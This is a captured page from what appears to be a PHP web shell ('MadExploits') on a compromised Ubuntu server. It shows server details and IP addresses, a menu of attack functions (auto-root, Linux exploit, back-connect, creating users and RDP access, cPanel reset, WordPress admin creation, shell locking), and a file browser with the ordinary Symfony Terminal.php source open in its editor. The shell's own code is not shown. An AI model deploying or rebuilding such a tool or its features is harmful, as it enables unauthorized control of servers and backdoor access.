Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdgamatya /
vendor /
symfony /
console /
[ HOME SHELL ]
Name
Size
Permission
Action
Command
[ DIR ]
drwxr-xr-x
DependencyInjection
[ DIR ]
drwxr-xr-x
Descriptor
[ DIR ]
drwxr-xr-x
Event
[ DIR ]
drwxr-xr-x
EventListener
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Formatter
[ DIR ]
drwxr-xr-x
Helper
[ DIR ]
drwxr-xr-x
Input
[ DIR ]
drwxr-xr-x
Logger
[ DIR ]
drwxr-xr-x
Output
[ DIR ]
drwxr-xr-x
Question
[ DIR ]
drwxr-xr-x
Resources
[ DIR ]
drwxr-xr-x
Style
[ DIR ]
drwxr-xr-x
Tester
[ DIR ]
drwxr-xr-x
Tests
[ DIR ]
drwxr-xr-x
.gitignore
37
B
-rw-r--r--
Application.php
39.2
KB
-rw-r--r--
CHANGELOG.md
3.14
KB
-rw-r--r--
ConsoleEvents.php
1.95
KB
-rw-r--r--
LICENSE
1.06
KB
-rw-r--r--
README.md
712
B
-rw-r--r--
Terminal.php
4.04
KB
-rw-r--r--
composer.json
1.42
KB
-rw-r--r--
phpunit.xml.dist
1.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Terminal.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; class Terminal { private static $width; private static $height; /** * Gets the terminal width. * * @return int */ public function getWidth() { $width = getenv('COLUMNS'); if (false !== $width) { return (int) trim($width); } if (null === self::$width) { self::initDimensions(); } return self::$width ?: 80; } /** * Gets the terminal height. * * @return int */ public function getHeight() { $height = getenv('LINES'); if (false !== $height) { return (int) trim($height); } if (null === self::$height) { self::initDimensions(); } return self::$height ?: 50; } private static function initDimensions() { if ('\\' === DIRECTORY_SEPARATOR) { if (preg_match('/^(\d+)x(\d+)(?: \((\d+)x(\d+)\))?$/', trim(getenv('ANSICON')), $matches)) { // extract [w, H] from "wxh (WxH)" // or [w, h] from "wxh" self::$width = (int) $matches[1]; self::$height = isset($matches[4]) ? (int) $matches[4] : (int) $matches[2]; } elseif (null !== $dimensions = self::getConsoleMode()) { // extract [w, h] from "wxh" self::$width = (int) $dimensions[0]; self::$height = (int) $dimensions[1]; } } elseif ($sttyString = self::getSttyColumns()) { if (preg_match('/rows.(\d+);.columns.(\d+);/i', $sttyString, $matches)) { // extract [w, h] from "rows h; columns w;" self::$width = (int) $matches[2]; self::$height = (int) $matches[1]; } elseif (preg_match('/;.(\d+).rows;.(\d+).columns/i', $sttyString, $matches)) { // extract [w, h] from "; h rows; w columns" self::$width = (int) $matches[2]; self::$height = (int) $matches[1]; } } } /** * Runs and parses mode CON if it's available, suppressing any error output. * * @return int[]|null An array composed of the width and the height or null if it could not be parsed */ private static function getConsoleMode() { if (!function_exists('proc_open')) { return; } $descriptorspec = array( 1 => array('pipe', 'w'), 2 => array('pipe', 'w'), ); $process = proc_open('mode CON', $descriptorspec, $pipes, null, null, array('suppress_errors' => true)); if (is_resource($process)) { $info = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/', $info, $matches)) { return array((int) $matches[2], (int) $matches[1]); } } } /** * Runs and parses stty -a if it's available, suppressing any error output. * * @return string|null */ private static function getSttyColumns() { if (!function_exists('proc_open')) { return; } $descriptorspec = array( 1 => array('pipe', 'w'), 2 => array('pipe', 'w'), ); $process = proc_open('stty -a | grep columns', $descriptorspec, $pipes, null, null, array('suppress_errors' => true)); if (is_resource($process)) { $info = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); return $info; } } }
Close